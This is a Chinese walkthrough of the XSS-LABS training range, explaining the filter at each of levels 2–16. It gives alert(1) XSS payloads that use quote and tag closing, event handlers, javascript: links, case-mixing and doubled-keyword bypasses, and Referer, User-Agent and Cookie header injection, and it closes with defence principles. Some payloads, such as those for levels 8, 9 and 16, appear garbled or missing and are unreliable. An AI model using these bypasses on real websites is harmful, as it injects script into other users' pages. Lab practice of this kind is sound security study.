XSS-LABS 靶场通关详解
前言
XSS-LABS 是一个经典的跨站脚本攻击(XSS)学习靶场,通过16个不同难度的关卡,帮助学习者掌握各种XSS攻击技巧和绕过方法。本文将详细解析每个关卡的通关思路和payload构造方法。
基础概念
XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的攻击方式,主要分为三类:
- 反射型XSS:恶意脚本来自当前HTTP请求
- 存储型XSS:恶意脚本存储在服务器端
- DOM型XSS:通过修改DOM环境而不经过服务器
关卡详解
Level 2
问题分析:输入被双引号包裹在value属性中
<input name=keyword value="用户输入">
解决方案:闭合前后引号和标签
Payload:
"><script>alert(1)</script><"
解析:
">闭合前面的value属性<script>alert(1)</script>插入恶意脚本<"闭合后面的引号
Level 3
问题分析:<>被转义过滤
解决方案:使用事件处理器(onclick)触发
Payload:
1' onclick=alert(1)//
或
1' onclick='alert(1)
解析:
- 使用单引号闭合属性
- 通过onclick事件触发JS代码
//注释掉后面的内容
Level 4
问题分析:<>被完全过滤
解决方案:继续使用事件处理器,调整闭合方式
Payload:
1" onclick="alert(1)
或
1" onmouseover="javascript:alert(1)
解析:
- 使用双引号闭合
- 可以尝试不同事件(onmouseover等)
Level 5
问题分析:script和on事件被过滤
解决方案:使用a标签的href属性执行javascript伪协议
Payload:
"><a href="javascript:alert(1)">//
解析:
- javascript:伪协议可以直接执行JS代码
- 需要闭合前面的标签
Level 6
问题分析:script、on事件和href被过滤
解决方案:大小写绕过过滤
Payload:
"><a HrEf="javascript:alert(1)">
解析:
- 使用大小写混合绕过关键字检测
- 原理是HTML标签和属性不区分大小写
Level 7
问题分析:script被完全过滤(不区分大小写)
解决方案:双写绕过
Payload:
"><scrscriptipt>alert(1)</scscriptript>//
解析:
- 双写后过滤系统删除中间的script,剩下的组合成完整标签
- 如scrscriptipt → scriptipt → script
Level 8
问题分析:script被转义为scr_ipt,input标签内难以构造
解决方案:在友情链接的href中使用HTML编码
Payload:
javascript:alert(1)
解析:
- 将javascript:alert(1)转换为HTML实体编码
- 浏览器会自动解码执行
Level 9
问题分析:javascript:被检测为不合法URL
解决方案:编码后拼接合法URL
Payload:
javascript:alert(1)//http://www.baidu.com
解析:
- 编码恶意部分
- 使用//注释掉后面的合法URL
- 确保整体通过URL验证
Level 10
问题分析:隐藏表单,只有t_sort参数可赋值
解决方案:修改input类型并添加事件
Payload:
1"&t_sort=1" type="text" onclick="alert(1)
解析:
- 通过参数修改隐藏表单为可见
- 添加onclick事件处理器
Level 11
问题分析:隐藏表单值来自Referer头
解决方案:修改Referer头注入
Payload:
Referer: 1" type="text" onclick="alert(1)
解析:
- 通过HTTP头注入
- 原理同Level 10
Level 12
问题分析:隐藏表单值来自User-Agent头
Payload:
User-Agent: ..." type="text" onclick="alert(1)
解析:
- 通过User-Agent头注入
- 需要保留部分合法UA值
Level 13
问题分析:隐藏表单值来自Cookie
Payload:
cookie: user=..." type="text" onclick="alert(1)
解析:
- 通过Cookie注入
- 需要修改cookie值
Level 14
问题分析:考察EXIF XSS漏洞
解决方案:上传包含恶意EXIF数据的图片
解析:
- 修改图片元数据包含XSS payload
- 需要网站存在读取EXIF的功能
Level 15
问题分析:考察angular JS的XSS
解决方案:使用ng-include等指令
解析:
- AngularJS特有的XSS方式
- 需要了解Angular模板语法
Level 16
问题分析:空格被转义
解决方案:使用%0a(换行符)代替空格
Payload:
解析:
- URL编码绕过空格过滤
- 浏览器将%0a解析为空格
总结
XSS攻击的关键在于:
- 理解输入点的上下文环境
- 识别过滤规则和绕过方法
- 选择合适的注入方式和事件
常见绕过技巧:
- 闭合引号和标签
- 使用事件处理器
- 大小写变异
- 双写关键字
- HTML/URL编码
- 使用伪协议
- 特殊字符替代(如%0a代替空格)
防御XSS的基本原则:
- 输入验证和过滤
- 输出编码
- 使用CSP等安全策略
- 避免直接将用户输入插入到HTML中